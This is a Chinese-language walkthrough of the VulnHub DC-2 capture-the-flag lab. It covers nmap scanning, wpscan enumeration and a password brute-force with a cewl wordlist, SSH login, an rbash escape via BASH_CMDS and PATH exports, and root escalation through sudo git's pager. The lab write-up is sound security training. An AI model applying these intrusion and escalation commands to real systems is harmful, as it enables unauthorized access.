DC-2
官网下载及要求、wp等:https://www.vulnhub.com/entry/dc-2,311/
官解:https://blog.mzfr.me/vulnhub-writeups/2019-07-12-DC2
0x00 要求&准备
- 把DC-2.ova导入虚拟机,具体见DC-1。
- 官网提示:五个flag(包含一个真正有用的thefinalflag),提示渗透机hosts设置成DC-2的实际IP。
- 切换网络情况后,桥接模式又无法上网了。重新配置新kali时,显示网络自动配置失败。测试得到,校园网网速太慢/限制仅一台PC连接,所以无法配置桥接,开热点就好了。(这个结论说出来自己都觉得离谱,回去原来DC-1用的kali,也能成功上网,用回原本的kali)。
0x01 存活主机及访问——flag1
-
使用
netdiscover
无效,因为是从192.168.0.0开始遍历网段寻找,但本次实验中,kali的ip地址经查询,变成了172.20.10.3。
-
所以使用nmap指定该网段扫描:
nmap 172.20.10.0/24
。找到vmware标识。即DC-2的地址为172.20.10.4。
-
由nmap结果可以看到仅开放80端口,由提示知要将dc-2的地址加入/etc/hosts(否则无法访问):
vim /etc/hosts
-
成功访问170.20.10.4,发现是WordPress网站。且有flag项。
-
找到flag1,提示:常用字典无效,需要cewl一个;登陆获取下一个flag。
0x02 字典爆破——flag2
-
用户枚举:
wpscan --url http://dc-2/ --enumerate u
,找到三个用户名:admin、jerry、tom。wpscan使用参考:https://www.freebuf.com/sectool/174663.html
-
创建用户列表:
vim dc2users.list
,写入枚举出的三个用户。
-
按照提示,使用cewl生成wordlist:
cewl dc-2 -w dc2passwd.dic
,使用cat查看。cewl使用参考:https://www.freebuf.com/articles/network/190128.html
-
WPScan爆破:
wpscan --url dc-2 -U dc2users.list -P dc2passwd.dic
。跑出结果:jerry对应密码adipiscing、tom对应密码parturient,admin没找到。
-
用nikto寻找访问界面:
nikto -h dc-2
,为/wp-login.phpnikto使用参考:https://zhuanlan.zhihu.com/p/124246499
-
进入登陆网页,分别用tom和Jerry登陆。其中tom登录后没有找到有用信息。
-
使用Jerry登陆,找到flag1和flag2。
-
其中flag2提示:不能利用wordpress抄近路时,有另一个切入点。
0x03 登陆——flag3
-
前文nmap中只扫描出了80端口,再重新全端口扫描一下:
nmap -sS -p- 172.20.10.4
。多了7744端口。
-
试试7744端口登陆前文未用上的tom用户:
ssh tom@172.20.10.4 -p 7744
,密码parturient。登陆成功。
-
登录后
ls
找到flag3.txt,但无法cat,但可以用vi打开查看。
-
看到flag3:tom在Jerry后,提示用su切换用户。
0x04 rbash限制——flag4
rbash逃逸参考:
https://xz.aliyun.com/t/7642
https://www.cnblogs.com/sup3rman/p/12392161.html
-
失败的尝试:切换用户时逃逸(su不可用),无法直接/bin/bash,直接用export提示PATH是只读变量。
-
依次执行以下命令,成功绕过限制。
BASH_CMDS[a]=/bin/sh;a #把/bin/bash给a变量 /bin/bash echo $0 #查看脚本本身的名字 echo $? #命令执行结果反馈,0代表执行成功,其余数字表示不成功 export PATH=$PATH:/bin/ #将/bin 作为PATH环境变量导出 export PATH=$PATH:/usr/bin #将/usr/bin作为PATH环境变量导出
-
切换Jerry账户,登陆成功后切换到Jerry的目录下,找到flag4.txt。
-
flag4提示:没有提示,继续,git。
0x05 git提权——flag5/finalflag
第三方提权(包括git提权)参考:
https://www.freebuf.com/articles/system/261271.html
-
执行
sudo git -p help config
-
在末行命令模式输入
!/bin/sh
,并且用whoami
查看当前用户,完成提权。
-
打开root根目录,找到finalflag.txt。cat查看。结束。